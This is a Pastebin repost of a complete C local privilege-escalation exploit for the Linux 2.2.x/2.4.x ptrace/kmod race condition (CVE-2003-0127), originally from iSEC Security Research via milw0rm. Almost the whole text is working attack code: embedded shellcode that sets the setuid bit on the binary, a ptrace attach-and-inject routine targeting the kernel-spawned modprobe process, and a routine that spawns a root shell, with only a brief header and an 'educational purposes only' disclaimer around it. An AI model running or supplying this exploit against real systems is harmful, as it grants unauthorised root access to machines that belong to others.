Advertisement
FlyFar

Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation - CVE-2003-0127

Jan 22nd, 2024
748
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.87 KB | Cybersecurity | 0 0
  1. /*
  2.  * Linux kernel ptrace/kmod local root exploit
  3.  *
  4.  * This code exploits a race condition in kernel/kmod.c, which creates
  5.  * kernel thread in insecure manner. This bug allows to ptrace cloned
  6.  * process, allowing to take control over privileged modprobe binary.
  7.  *
  8.  * Should work under all current 2.2.x and 2.4.x kernels.
  9.  *
  10.  * I discovered this stupid bug independently on January 25, 2003, that
  11.  * is (almost) two month before it was fixed and published by Red Hat
  12.  * and others.
  13.  *
  14.  * Wojciech Purczynski <cliph@isec.pl>
  15.  *
  16.  * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
  17.  * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
  18.  *
  19.  * (c) 2003 Copyright by iSEC Security Research
  20.  */
  21.  
  22. #include <grp.h>
  23. #include <stdio.h>
  24. #include <fcntl.h>
  25. #include <errno.h>
  26. #include <paths.h>
  27. #include <string.h>
  28. #include <stdlib.h>
  29. #include <signal.h>
  30. #include <unistd.h>
  31. #include <sys/wait.h>
  32. #include <sys/stat.h>
  33. #include <sys/param.h>
  34. #include <sys/types.h>
  35. #include <sys/ptrace.h>
  36. #include <sys/socket.h>
  37. #include <linux/user.h>
  38.  
  39. char cliphcode[] =
  40.     "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
  41.     "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
  42.     "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
  43.     "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
  44.     "\x40\xcd\x80\xe8\xdc\xff\xff\xff";
  45.  
  46. #define CODE_SIZE (sizeof(cliphcode) - 1)
  47.  
  48. pid_t parent = 1;
  49. pid_t child = 1;
  50. pid_t victim = 1;
  51. volatile int gotchild = 0;
  52.  
  53. void fatal(char * msg)
  54. {
  55.     perror(msg);
  56.     kill(parent, SIGKILL);
  57.     kill(child, SIGKILL);
  58.     kill(victim, SIGKILL);
  59. }
  60.  
  61. void putcode(unsigned long * dst)
  62. {
  63.     char buf[MAXPATHLEN + CODE_SIZE];
  64.     unsigned long * src;
  65.     int i, len;
  66.  
  67.     memcpy(buf, cliphcode, CODE_SIZE);
  68.     len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
  69.     if (len == -1)
  70.         fatal("[-] Unable to read /proc/self/exe");
  71.  
  72.     len += CODE_SIZE + 1;
  73.     buf[len] = '\0';
  74.    
  75.     src = (unsigned long*) buf;
  76.     for (i = 0; i < len; i += 4)
  77.         if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
  78.             fatal("[-] Unable to write shellcode");
  79. }
  80.  
  81. void sigchld(int signo)
  82. {
  83.     struct user_regs_struct regs;
  84.  
  85.     if (gotchild++ == 0)
  86.         return;
  87.    
  88.     fprintf(stderr, "[+] Signal caught\n");
  89.  
  90.     if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
  91.         fatal("[-] Unable to read registers");
  92.    
  93.     fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
  94.    
  95.     putcode((unsigned long *)regs.eip);
  96.  
  97.     fprintf(stderr, "[+] Now wait for suid shell...\n");
  98.  
  99.     if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
  100.         fatal("[-] Unable to detach from victim");
  101.  
  102.     exit(0);
  103. }
  104.  
  105. void sigalrm(int signo)
  106. {
  107.     errno = ECANCELED;
  108.     fatal("[-] Fatal error");
  109. }
  110.  
  111. void do_child(void)
  112. {
  113.     int err;
  114.  
  115.     child = getpid();
  116.     victim = child + 1;
  117.  
  118.     signal(SIGCHLD, sigchld);
  119.  
  120.     do
  121.         err = ptrace(PTRACE_ATTACH, victim, 0, 0);
  122.     while (err == -1 && errno == ESRCH);
  123.  
  124.     if (err == -1)
  125.         fatal("[-] Unable to attach");
  126.  
  127.     fprintf(stderr, "[+] Attached to %d\n", victim);
  128.     while (!gotchild) ;
  129.     if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
  130.         fatal("[-] Unable to setup syscall trace");
  131.     fprintf(stderr, "[+] Waiting for signal\n");
  132.  
  133.     for(;;);
  134. }
  135.  
  136. void do_parent(char * progname)
  137. {
  138.     struct stat st;
  139.     int err;
  140.     errno = 0;
  141.     socket(AF_SECURITY, SOCK_STREAM, 1);
  142.     do {
  143.         err = stat(progname, &st);
  144.     } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
  145.    
  146.     if (err == -1)
  147.         fatal("[-] Unable to stat myself");
  148.  
  149.     alarm(0);
  150.     system(progname);
  151. }
  152.  
  153. void prepare(void)
  154. {
  155.     if (geteuid() == 0) {
  156.         initgroups("root", 0);
  157.         setgid(0);
  158.         setuid(0);
  159.         execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
  160.         fatal("[-] Unable to spawn shell");
  161.     }
  162. }
  163.  
  164. int main(int argc, char ** argv)
  165. {
  166.     prepare();
  167.     signal(SIGALRM, sigalrm);
  168.     alarm(10);
  169.    
  170.     parent = getpid();
  171.     child = fork();
  172.     victim = child + 1;
  173.    
  174.     if (child == -1)
  175.         fatal("[-] Unable to fork");
  176.  
  177.     if (child == 0)
  178.         do_child();
  179.     else
  180.         do_parent(argv[0]);
  181.  
  182.     return 0;
  183. }
  184.  
  185. // milw0rm.com [2003-03-30]
  186.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement